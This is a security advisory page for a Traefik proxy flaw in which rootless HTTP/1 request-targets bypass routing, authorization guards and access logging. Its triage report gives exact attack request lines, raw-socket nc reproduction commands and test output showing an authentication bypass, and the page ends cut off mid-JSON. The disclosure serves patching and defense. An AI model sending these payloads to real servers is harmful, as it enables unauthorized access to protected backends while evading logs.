GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-F52W-8J3H-J724

Vulnerability from github – Published: 2026-09-10 23:03 – Updated: 2026-09-10 23:03
VLAI
Summary
Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging
Details

Summary

Traefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example GET http:http://internal-vhost/admin HTTP/1.1). Go parses this into URL.Opaque with an empty URL.Path, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to /, while the proxy forwards the attacker's original target byte-for-byte to the backend. Router path/prefix guards, forwardAuth path-scoped policies and the encodedCharacters hardening never see the real target, and the access log records every such request as GET / HTTP/1.1. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion — unauthenticated, with stock entrypoint defaults.

Traefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.57
  • https://github.com/traefik/traefik/releases/tag/v3.7.13

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ## Summary The scanner claims `rewriteRequestBuilder` (`pkg/proxy/httputil/proxy.go:97`) rebuilds the outbound target from `URL.Path` / `RawPath` / `RawQuery` but never clears `URL.Opaque`, so a client sending a rootless request-target (`GET http:http://internal-vhost/admin HTTP/1.1`) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path. **The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image `traefik:v3.7` (v3.7.9, go1.26.5) with stock entrypoint defaults.** Three separate consequences were observed on the wire, not inferred: 1. **Cross-vhost routing bypass.** Traefik matched `Host(app.example.com)`, nginx served the `internal-vhost` server block. 2. **Path-scoped authorization bypass.** A `forwardAuth` guard that denies `^/admin` returned `DENY` for `/admin` and `ALLOW` for the opaque form of the same request, which then reached `/admin` on the backend. 3. **Access-log evasion.** All three requests, benign and malicious, were logged identically as `"GET / HTTP/1.1"`. Plus a fourth that is decisive against the usual closure argument: the documented opt-in hardening `encodedCharacters.allowEncodedSlash=false` **rejects** the canonical `/admin%2f..%2fsecret` with `400`, and **does not fire at all** on the opaque form carrying the identical payload. This is not the "the operator left an opt-in permissive" shape that lesson `L-012` and guideline `G-03` teach us to decline. The hardening is enabled and is structurally bypassed. ## Affected code - `pkg/proxy/httputil/proxy.go:97` (`rewriteRequestBuilder`) - `pkg/muxer/http/mux.go:139` (`withRoutingPath`) ## Code analysis ### The sink `pkg/proxy/httputil/proxy.go:87-105` sets Scheme, Host, Path, RawPath, RawQuery on `pr.Out.URL` and clears `pr.Out.RequestURI`. It never touches `pr.Out.URL.Opaque`, which `httputil.ReverseProxy` carried over from the inbound request clone:
pr.Out.URL.Scheme = target.Scheme
pr.Out.URL.Host = target.Host
...
pr.Out.URL.Path = u.Path
pr.Out.URL.RawPath = u.RawPath
...
pr.Out.RequestURI = "" // Outgoing request should not have RequestURI
`net/http`'s `Request.write` then does `ruri := r.URL.RequestURI()`, and `url.URL.RequestURI()` returns `Opaque` in preference to the escaped path whenever `Opaque != ""`. So the wire target is the attacker's string, and every field the proxy carefully set is ignored. ### How Opaque gets populated `net/http`'s `readRequest` (`$GOROOT/src/net/http/request.go:1104-1127`) applies **no origin-form check**: it calls `url.ParseRequestURI(rawurl)` directly, and the only special case is `CONNECT`. `url.parse` returns early with `Opaque = rest` whenever a scheme is present and the remainder does not start with `/`, even for `viaRequest = true`. So `http:http://internal-vhost/admin` parses to `{Scheme: "http", Opaque: "http://internal-vhost/admin", Path: "", Host: ""}`. Note that this string is a syntactically valid `absolute-URI` per RFC 3986 (`path-rootless`, and `:` is a legal `pchar`), so it is a legal `absolute-form` request-target per RFC 9112 §3.2.2 that Traefik is required to accept. The defect is not accepting it, it is **rewriting it into a different URI when forwarding**: Traefik receives a URI with no authority and emits one whose authority is `internal-vhost`, because `RequestURI()` only re-prefixes the scheme when `Opaque` begins with `//`. ### Why the entry-point pipeline does not catch it - `denyFragment` inspects `req.URL.RawPath` → empty → passes. - `normalizePath` returns early when `RawPath == ""` → passes. - `sanitizePath` (`pkg/server/server_entrypoint_tcp.go:849`) does `r2.URL = r2.URL.JoinPath()`. `JoinPath` does `url := *u`, which **copies Opaque**, and `setPath("/")`. It then does `r2.RequestURI = r2.URL.RequestURI()`, which returns the Opaque string. Net effect: `URL.Path` becomes `"/"`, `Opaque` survives untouched, and `RequestURI` is *rewritten to the attacker's authority-bearing form*. - The muxer matches on `URL.Path == "/"`, so any `Host(...)`-only or `PathPrefix(`/`)` router matches. Host matching uses `req.Host`, which is the `Host:` header because `URL.Host` is empty for the opaque form. - `encodedcharacters` (`pkg/middlewares/encodedcharacters/encoded_characters.go:41`) scans `req.URL.EscapedPath()`, which is `"/"`. The denylist can never fire. - `accesslog` (`pkg/middlewares/accesslog/logger.go:244-253`) rebuilds `urlCopy := &url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment}` and **drops Opaque**, so `RequestPath` is logged as `/`. - `forwardauth` (`pkg/middlewares/auth/forward.go:473,499`) sets `X-Forwarded-Uri` from `req.URL.RequestURI()`, so the auth server receives the string `http://internal-vhost/admin`, which matches neither the router's view (`/`) nor any normal path-prefix rule. It fails **open** against a prefix-based policy. ### Scope The experimental fast proxy has the identical defect: `pkg/proxy/fast/proxy.go` does `u2 := *req.URL` (copying Opaque) and `outReq.SetRequestURI(u2.RequestURI())` at line 216. The scanner's location call is accurate for both. Note this pattern is inherited from `net/http/httputil.ReverseProxy`, whose own `NewSingleHostReverseProxy` director also leaves `Opaque` set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync. ## Reproduction (J04, F4) Two independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs' probe files, which were left alone). ### A. In-tree Go test (`pkg/server`, deleted after the run) Entry-point chain assembled in `newHTTPServer` order (`denyFragment` → `normalizePath` → `sanitizePath` → `requestdecorator` → real `httpmuxer` with `Host(app.example.com)` → real `httputil.ProxyBuilder`), fronted by a real `net/http` server, driven over a raw TCP socket. **Command:**
go test -run TestScanPocJ04Opaque -v ./pkg/server/
**Observed:**
=== RUN   TestScanPocJ04Opaque/control_origin_form
    status="200 OK" reachedBackend=true backend.RequestURI="/hello" backend.Host="app.example.com"
=== RUN   TestScanPocJ04Opaque/rootless_opaque_form
    status="200 OK" reachedBackend=true
    routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin%2f..%2fsecret" RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="app.example.com")
    backend(RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="internal-vhost" Path="/admin/../secret" RawPath="/admin%2f..%2fsecret")
=== RUN   TestScanPocJ04Opaque/rootless_opaque_form_simple
    status="200 OK" reachedBackend=true
    routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin" RequestURI="http://internal-vhost/admin" Host="app.example.com")
    backend(RequestURI="http://internal-vhost/admin" Host="internal-vhost" Path="/admin" RawPath="")
=== RUN   TestScanPocJ04Opaque/absolute_form
    status="404 Not Found" reachedBackend=false
--- PASS: TestScanPocJ04Opaque (2.01s)
**Conclusion:** REPRODUCED. Traefik routes on `Path="/"` and `Host="app.example.com"`; the backend receives `Host="internal-vhost"` and `Path="/admin"`. The `%2f` bytes survive to the backend's `RawPath` untouched. The `absolute_form` control (`GET http://internal-vhost/admin`) correctly **404s**, because there `URL.Host` is populated so `req.Host` becomes `internal-vhost` and the router does not match: it is specifically the **rootless** form, where the authority is invisible to Go's `Request.Host` derivation but visible to the wire writer, that desyncs. ### B. End-to-end on the GA image (`traefik:v3.7` = v3.7.9, go1.26.5) with a real nginx backend Topology: nginx with a `default_server` returning `PUBLIC-VHOST` and a `server_name internal-vhost` block returning `INTERNAL-VHOST-SECRET`; Traefik with a single `Host(app.example.com)` router, entry-point defaults, `--accesslog=true`. Requests sent over a raw socket with `Host: app.example.com`. **B1. Cross-vhost + log evasion (stock defaults):**
=== request-target sent: '/'
PUBLIC-VHOST uri=/ host=app.example.com

=== request-target sent: 'http:http://internal-vhost/admin'
INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost

=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost
Traefik access log for those same three requests:
"GET / HTTP/1.1" 200 40 ... "app@file" "http://poc-nginx:80" 3ms
"GET / HTTP/1.1" 200 53 ... "app@file" "http://poc-nginx:80" 0ms
"GET / HTTP/1.1" 200 67 ... "app@file" "http://poc-nginx:80" 0ms
**B2. Differential against the documented hardening** (`--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false`, `sanitizePath=true`):
=== request-target sent: '/admin%2f..%2fsecret'
HTTP/1.1 400 Bad Request                       <- canonical path: protection fires

=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
HTTP/1.1 200 OK
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost   <- same payload, protection never fires
**B3. ForwardAuth authorization bypass** (middleware `forwardAuth` to an nginx auth service that returns 403 when `X-Forwarded-Uri` matches `^/admin`):
=== request-target sent: '/admin'                          -> 403 DENY
=== request-target sent: 'http:/admin'                     -> 403 DENY
=== request-target sent: 'http:http://internal-vhost/admin'-> 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost
Auth-service log confirms the decision flip: `403`, `403`, `200`. **Conclusion:** REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously. ### Documentation grounding Governing page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.** _(truncated ; full analysis in the linked internal report)_ ## Reproduction (J18, F20) Three Go probes were written into `pkg/server/` of the checkout (named `zz_scanpoc_J18*_test.go`) and **deleted afterwards**; `git status` confirms no `zz_scanpoc_J18` file remains and the checkout is still on `v3.7` @ `d5072ce7b8765c9574246072e05dd81d84950da7`. Docker containers were removed at the end of the run. **Probe 1 — routing desync and verbatim forward.** Real entry point chain (`denyFragment` -> `normalizePath` -> `sanitizePath` -> `requestdecorator` -> `httpmuxer.Muxer`), two routers on the same service, real `pkg/proxy/httputil` proxy, raw TCP backend recording the request line, driven over a raw socket.
cd /Users/emile/go/src/github.com/traefik/traefik
go test -run TestJ18RootlessRequestTarget ./pkg/server/ -v
=== RUN   TestJ18RootlessRequestTarget/GET_http:admin/secret_HTTP/1.1
    --> raw request line: "GET http:admin/secret HTTP/1.1"
    in-Traefik state: URL.Opaque="admin/secret" URL.Path="/" URL.RawPath="" RequestURI="admin/secret" EscapedPath="/"
    <-- routers matched: [router-app(NO AUTH)]
    <-- response: "HTTP/1.1 200 OK\r"
    <-- backend request lines seen so far: ["GET admin/secret HTTP/1.1\r\n"]
=== RUN   TestJ18RootlessRequestTarget/GET_http:admin%2Fsecret_HTTP/1.1
    in-Traefik state: URL.Opaque="admin%2Fsecret" URL.Path="/" URL.RawPath="" RequestURI="admin%2Fsecret" EscapedPath="/"
    <-- routers matched: [router-app(NO AUTH)]
    <-- backend request lines seen so far: [... "GET admin%2Fsecret HTTP/1.1\r\n"]
=== RUN   TestJ18RootlessRequestTarget/GET_/admin/secret_HTTP/1.1      (control)
    <-- routers matched: [router-admin(AUTH)]
    <-- response: "HTTP/1.1 401 Unauthorized\r"
PASS
The control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker's bytes, including the `%2F` that an `encodedCharacters` filter would have rejected. **Probe 2 — origin tolerance.** Which origins actually resolve a rootless request-target.
go test -run TestJ18BackendTolerance ./pkg/server/ -v     # Go net/http + fasthttp v1.69.0
docker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine
docker run -d --rm -p 18120:3000 node:alpine node -e "require('http').createServer(...)"
docker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000
docker run -d --rm -p 18122:8080 tomcat:9.0.120
printf 'GET admin/secret HTTP/1.1\r\nHost: app.example.com\r\nConnection: close\r\n\r\n' | nc -w 3 127.0.0.1 <port>
| Origin | `GET admin/secret HTTP/1.1` | `GET /admin/secret HTTP/1.1` (control) | |---|---|---| | Go `net/http` | `HTTP/1.1 400 Bad Request` | 200, `Path="/admin/secret"` | | nginx:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) | | httpd:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) | | Node.js (llhttp) | `HTTP/1.1 400 Bad Request` | `HTTP/1.1 200 OK` | | Tomcat 9.0.120 | `HTTP/1.1 400` | 404 (resolved) | | Python `http.server` | accepted (404, no 400) | 404 | | **fasthttp v1.69.0** | **`200 OK`, `Path="/admin/secret"`** | 200, `Path="/admin/secret"` | fasthttp also decodes the encoded form: `GET admin%2Fsecret HTTP/1.1` yields `Path="/admin/secret"`, `RequestURI="admin%2Fsecret"`. **Probe 3 — end-to-end authentication bypass.** Same chain as probe 1, with a real `basicAuth`-style gate on the `/admin` router and a `fasthttp` origin serving `ADMIN_PANEL_SECRET` at `/admin/secret`.
go test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v
"GET /admin/secret HTTP/1.1"       => 401 basicAuth required
"GET http:admin/secret HTTP/1.1"   => Server: fasthttp ... ADMIN_PANEL_SECRET
"GET http:admin%2Fsecret HTTP/1.1" => Server: fasthttp ... ADMIN_PANEL_SECRET
The bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials. ## Second affected site (J18) The finding is **mechanically correct and fully reproduced end to end**, including the auth bypass. A client-controlled HTTP/1.x request-target of the form `scheme:rootless/path` (for example `GET http:admin/secret HTTP/1.1`) is parsed by Go's `url.ParseRequestURI` into `URL.Opaque = "admin/secret"` with an empty `URL.Path` / `URL.RawPath`. Traefik's entry point chain and muxer never look at `URL.Opaque`: - `denyFragment` inspects `URL.RawPath` (empty) and passes. - `normalizePath` returns early on empty `RawPath`. - `sanitizePath` calls `URL.JoinPath()`, which rewrites `Path` to `"/"` and **leaves `Opaque` untouched**, then sets `RequestURI = URL.RequestURI()` = `"admin/secret"`. - `withRoutingPath` (`pkg/muxer/http/mux.go:139`) derives the routing path from `req.URL.EscapedPath()`, which ignores `Opaque`, so every `Path` / `PathPrefix` / `PathRegexp` matcher evaluates against `"/"`. - Both proxies copy the URL wholesale and never clear `Opaque`, so the outgoing request line is the attacker's target verbatim. Result: Traefik makes its routing and middleware decision on one string (`"/"`) and writes a different string to the backend (`admin/secret`). Where a host-only or `PathPrefix("/")` router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path. Where the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, **five reject the rootless target with 400** (Go `net/http`, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only `fasthttp` (and the Fiber family built on it) and Python's `http.server` accept it. Notably Tomcat, the backend family that carried the closest prior report (`GHSA-vrvv-46fp-28pp`), answers 400 here. ## Documentation grounding Governing page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.** The page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents `sanitizePath: true` as a **default-on hardening the team ships**, with `encodedCharacters.allowEncodedSlash: false` as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on `header-underscores.md`, `content-length.md`, `http2-header-memory.md` or `multi-tenant-kubernetes.md`, documents the request-target form, absolute-form / rootless targets, `URL.Opaque`, or an authority carried in the target. Grep for `absolute`, `request-target`, `request line`, `Opaque`, `authority` across `docs/content/security/` returns nothing. This lands squarely in Step 2e's **second** bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator *did* enable the opt-in and it still failed. ## Precedent in comparable projects Searched `data/competitors/*.json` on `absolute.form|absolute-form|absolute URI|request.target|request line|authority.form`, then on `smuggl|desync|normaliz`. | Product | ID | Severity | Framing | Fix shape | |---|---|---|---|---| | Caddy | CVE-2026-27587 | HIGH | `MatchPath`'s `%xx` (escaped-path) branch skips case normalization, so the matcher's view of the path diverges from the served one, enabling path-based route/auth bypass. | Normalize in the divergent branch so matcher and handler agree on one interpretation. | | Caddy | CVE-2026-27588 | HIGH | `MatchHost` becomes case-sensitive above 100 hosts, so host matching diverges from the request's real host, enabling host-based route/auth bypass. | Same fix shape: make the fast path agree with the canonical path. | | Envoy | CVE-2021-32779 | high | `#fragment` treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. | Reject or strip the divergent element before routing. | | Envoy | CVE-2021-29492 | high | Escaped-slash characters let requests bypass path matching rules. | Configurable normalization of `%2F` before matching. | | Envoy | CVE-2019-9901 | CRITICAL | Missing HTTP URL path normalization lets the proxy's routing view diverge from the backend's. | Add normalization. | | Envoy | CVE-2023-27491 | medium | Envoy **forwards invalid HTTP/2 and HTTP/3 downstream headers** to the upstream instead of rejecting them. | Reject malformed downstream input at the edge. | | Istio | CVE-2021-39156 | high | Fragments in the path lead to authorization policy bypass. | Normalize before policy evaluation. | | HAProxy | CVE-2023-25725 | CRITICAL | HTTP/1 headers inadvertently lost in some conditions, allowing a bypass of access control. | Restore consistent parsing. | _(truncated ; full analysis in the linked internal report)_ ## Recommended fix **Assign for fix, and treat as CVE-worthy.** 1. Clear the opaque form when rebuilding the outbound URL, in both proxies. In `pkg/proxy/httputil/proxy.go`, next to the Path/RawPath assignments: ```go pr.Out.URL.Opaque = "" ``` and in `pkg/proxy/fast/proxy.go`, on the `u2 := *req.URL` copy before `outReq.SetRequestURI(u2.RequestURI())`. This alone closes the forwarding half. 2. Reject non-origin-form request-targets at the entry point, which is the stronger fix and the one matching the competitor remediation shape (Envoy CVE-2023-27491: reject malformed downstream framing at the edge rather than relaying it). For non-`CONNECT` requests, require `req.URL.Opaque == ""` and an `EscapedPath()` beginning with `/`, or normalize the true `absolute-form` case by promoting the authority into `req.Host`. This makes the router, the path sanitizers, the middlewares, the access log and the backend agree on a single interpretation of the target, which step 1 alone does not achieve: without it, `sanitizePath` still rewrites `RequestURI` to the attacker's authority-bearing form and the access log still records `/`. 3. Add a regression test asserting that a rootless request-target either is rejected at the entry point or reaches the backend as an origin-form target derived from the routed path. The probe used above is a direct starting point. 4. Consider reporting the `ReverseProxy` omission upstream to Go as well, since `NewSingleHostReverseProxy` has the same gap, but do not make the Traefik fix wait on it. 5. If filed as an advisory, use cluster slug `opaque-request-target-forwarding` and note that the fix must land on the fast proxy in the same PR. ## Provenance Found by an external automated code scan (`CLAUDE-SECURITY-20260824-122205`) of `pkg/middlewares`, `pkg/proxy`, `pkg/server`, `pkg/muxer` and `pkg/tls` on branch `v3.7` at commit `d5072ce7b8765c9574246072e05dd81d84950da7`, then triaged with the `advisory-check` process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt. Triage outcome : **Likely Valid**, confidence High, reproduced (yes). Expected publication likelihood at triage time : High. Scanner finding ids : F4, F20. Internal report : `findings/scan-20260824/verdicts/J04.md, J18.md` in the security-advisor repository.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.7.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.57"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88009"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1286",
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T23:03:53Z",
    "nvd_published_at": "2026-09-10T16:18:07Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nTraefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example `GET http:http://internal-vhost/admin HTTP/1.1`). Go parses this into `URL.Opaque` with an empty `URL.Path`, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to `/`, while the proxy forwards the attacker\u0027s original target byte-for-byte to the backend. Router path/prefix guards, `forwardAuth` path-scoped policies and the `encodedCharacters` hardening never see the real target, and the access log records every such request as `GET / HTTP/1.1`. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion \u2014 unauthenticated, with stock entrypoint defaults.\n\nTraefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.57\n- https://github.com/traefik/traefik/releases/tag/v3.7.13\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nThe scanner claims `rewriteRequestBuilder` (`pkg/proxy/httputil/proxy.go:97`) rebuilds the outbound target from `URL.Path` / `RawPath` / `RawQuery` but never clears `URL.Opaque`, so a client sending a rootless request-target (`GET http:http://internal-vhost/admin HTTP/1.1`) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path.\n\n**The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image `traefik:v3.7` (v3.7.9, go1.26.5) with stock entrypoint defaults.** Three separate consequences were observed on the wire, not inferred:\n\n1. **Cross-vhost routing bypass.** Traefik matched `Host(app.example.com)`, nginx served the `internal-vhost` server block.\n2. **Path-scoped authorization bypass.** A `forwardAuth` guard that denies `^/admin` returned `DENY` for `/admin` and `ALLOW` for the opaque form of the same request, which then reached `/admin` on the backend.\n3. **Access-log evasion.** All three requests, benign and malicious, were logged identically as `\"GET / HTTP/1.1\"`.\n\nPlus a fourth that is decisive against the usual closure argument: the documented opt-in hardening `encodedCharacters.allowEncodedSlash=false` **rejects** the canonical `/admin%2f..%2fsecret` with `400`, and **does not fire at all** on the opaque form carrying the identical payload.\n\nThis is not the \"the operator left an opt-in permissive\" shape that lesson `L-012` and guideline `G-03` teach us to decline. The hardening is enabled and is structurally bypassed.\n\n## Affected code\n\n- `pkg/proxy/httputil/proxy.go:97` (`rewriteRequestBuilder`)\n- `pkg/muxer/http/mux.go:139` (`withRoutingPath`)\n\n## Code analysis\n\n### The sink\n\n`pkg/proxy/httputil/proxy.go:87-105` sets Scheme, Host, Path, RawPath, RawQuery on `pr.Out.URL` and clears `pr.Out.RequestURI`. It never touches `pr.Out.URL.Opaque`, which `httputil.ReverseProxy` carried over from the inbound request clone:\n\n```go\npr.Out.URL.Scheme = target.Scheme\npr.Out.URL.Host = target.Host\n...\npr.Out.URL.Path = u.Path\npr.Out.URL.RawPath = u.RawPath\n...\npr.Out.RequestURI = \"\" // Outgoing request should not have RequestURI\n```\n\n`net/http`\u0027s `Request.write` then does `ruri := r.URL.RequestURI()`, and `url.URL.RequestURI()` returns `Opaque` in preference to the escaped path whenever `Opaque != \"\"`. So the wire target is the attacker\u0027s string, and every field the proxy carefully set is ignored.\n\n### How Opaque gets populated\n\n`net/http`\u0027s `readRequest` (`$GOROOT/src/net/http/request.go:1104-1127`) applies **no origin-form check**: it calls `url.ParseRequestURI(rawurl)` directly, and the only special case is `CONNECT`. `url.parse` returns early with `Opaque = rest` whenever a scheme is present and the remainder does not start with `/`, even for `viaRequest = true`. So `http:http://internal-vhost/admin` parses to `{Scheme: \"http\", Opaque: \"http://internal-vhost/admin\", Path: \"\", Host: \"\"}`.\n\nNote that this string is a syntactically valid `absolute-URI` per RFC 3986 (`path-rootless`, and `:` is a legal `pchar`), so it is a legal `absolute-form` request-target per RFC 9112 \u00a73.2.2 that Traefik is required to accept. The defect is not accepting it, it is **rewriting it into a different URI when forwarding**: Traefik receives a URI with no authority and emits one whose authority is `internal-vhost`, because `RequestURI()` only re-prefixes the scheme when `Opaque` begins with `//`.\n\n### Why the entry-point pipeline does not catch it\n\n- `denyFragment` inspects `req.URL.RawPath` \u2192 empty \u2192 passes.\n- `normalizePath` returns early when `RawPath == \"\"` \u2192 passes.\n- `sanitizePath` (`pkg/server/server_entrypoint_tcp.go:849`) does `r2.URL = r2.URL.JoinPath()`. `JoinPath` does `url := *u`, which **copies Opaque**, and `setPath(\"/\")`. It then does `r2.RequestURI = r2.URL.RequestURI()`, which returns the Opaque string. Net effect: `URL.Path` becomes `\"/\"`, `Opaque` survives untouched, and `RequestURI` is *rewritten to the attacker\u0027s authority-bearing form*.\n- The muxer matches on `URL.Path == \"/\"`, so any `Host(...)`-only or `PathPrefix(`/`)` router matches. Host matching uses `req.Host`, which is the `Host:` header because `URL.Host` is empty for the opaque form.\n- `encodedcharacters` (`pkg/middlewares/encodedcharacters/encoded_characters.go:41`) scans `req.URL.EscapedPath()`, which is `\"/\"`. The denylist can never fire.\n- `accesslog` (`pkg/middlewares/accesslog/logger.go:244-253`) rebuilds `urlCopy := \u0026url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment}` and **drops Opaque**, so `RequestPath` is logged as `/`.\n- `forwardauth` (`pkg/middlewares/auth/forward.go:473,499`) sets `X-Forwarded-Uri` from `req.URL.RequestURI()`, so the auth server receives the string `http://internal-vhost/admin`, which matches neither the router\u0027s view (`/`) nor any normal path-prefix rule. It fails **open** against a prefix-based policy.\n\n### Scope\n\nThe experimental fast proxy has the identical defect: `pkg/proxy/fast/proxy.go` does `u2 := *req.URL` (copying Opaque) and `outReq.SetRequestURI(u2.RequestURI())` at line 216. The scanner\u0027s location call is accurate for both.\n\nNote this pattern is inherited from `net/http/httputil.ReverseProxy`, whose own `NewSingleHostReverseProxy` director also leaves `Opaque` set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync.\n\n## Reproduction (J04, F4)\n\nTwo independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs\u0027 probe files, which were left alone).\n\n### A. In-tree Go test (`pkg/server`, deleted after the run)\n\nEntry-point chain assembled in `newHTTPServer` order (`denyFragment` \u2192 `normalizePath` \u2192 `sanitizePath` \u2192 `requestdecorator` \u2192 real `httpmuxer` with `Host(app.example.com)` \u2192 real `httputil.ProxyBuilder`), fronted by a real `net/http` server, driven over a raw TCP socket.\n\n**Command:**\n```\ngo test -run TestScanPocJ04Opaque -v ./pkg/server/\n```\n\n**Observed:**\n```\n=== RUN   TestScanPocJ04Opaque/control_origin_form\n    status=\"200 OK\" reachedBackend=true backend.RequestURI=\"/hello\" backend.Host=\"app.example.com\"\n=== RUN   TestScanPocJ04Opaque/rootless_opaque_form\n    status=\"200 OK\" reachedBackend=true\n    routed(URL.Path=\"/\" RawPath=\"\" Opaque=\"http://internal-vhost/admin%2f..%2fsecret\" RequestURI=\"http://internal-vhost/admin%2f..%2fsecret\" Host=\"app.example.com\")\n    backend(RequestURI=\"http://internal-vhost/admin%2f..%2fsecret\" Host=\"internal-vhost\" Path=\"/admin/../secret\" RawPath=\"/admin%2f..%2fsecret\")\n=== RUN   TestScanPocJ04Opaque/rootless_opaque_form_simple\n    status=\"200 OK\" reachedBackend=true\n    routed(URL.Path=\"/\" RawPath=\"\" Opaque=\"http://internal-vhost/admin\" RequestURI=\"http://internal-vhost/admin\" Host=\"app.example.com\")\n    backend(RequestURI=\"http://internal-vhost/admin\" Host=\"internal-vhost\" Path=\"/admin\" RawPath=\"\")\n=== RUN   TestScanPocJ04Opaque/absolute_form\n    status=\"404 Not Found\" reachedBackend=false\n--- PASS: TestScanPocJ04Opaque (2.01s)\n```\n\n**Conclusion:** REPRODUCED. Traefik routes on `Path=\"/\"` and `Host=\"app.example.com\"`; the backend receives `Host=\"internal-vhost\"` and `Path=\"/admin\"`. The `%2f` bytes survive to the backend\u0027s `RawPath` untouched. The `absolute_form` control (`GET http://internal-vhost/admin`) correctly **404s**, because there `URL.Host` is populated so `req.Host` becomes `internal-vhost` and the router does not match: it is specifically the **rootless** form, where the authority is invisible to Go\u0027s `Request.Host` derivation but visible to the wire writer, that desyncs.\n\n### B. End-to-end on the GA image (`traefik:v3.7` = v3.7.9, go1.26.5) with a real nginx backend\n\nTopology: nginx with a `default_server` returning `PUBLIC-VHOST` and a `server_name internal-vhost` block returning `INTERNAL-VHOST-SECRET`; Traefik with a single `Host(app.example.com)` router, entry-point defaults, `--accesslog=true`. Requests sent over a raw socket with `Host: app.example.com`.\n\n**B1. Cross-vhost + log evasion (stock defaults):**\n```\n=== request-target sent: \u0027/\u0027\nPUBLIC-VHOST uri=/ host=app.example.com\n\n=== request-target sent: \u0027http:http://internal-vhost/admin\u0027\nINTERNAL-VHOST-SECRET uri=/admin host=internal-vhost\n\n=== request-target sent: \u0027http:http://internal-vhost/admin%2f..%2fsecret\u0027\nINTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost\n```\nTraefik access log for those same three requests:\n```\n\"GET / HTTP/1.1\" 200 40 ... \"app@file\" \"http://poc-nginx:80\" 3ms\n\"GET / HTTP/1.1\" 200 53 ... \"app@file\" \"http://poc-nginx:80\" 0ms\n\"GET / HTTP/1.1\" 200 67 ... 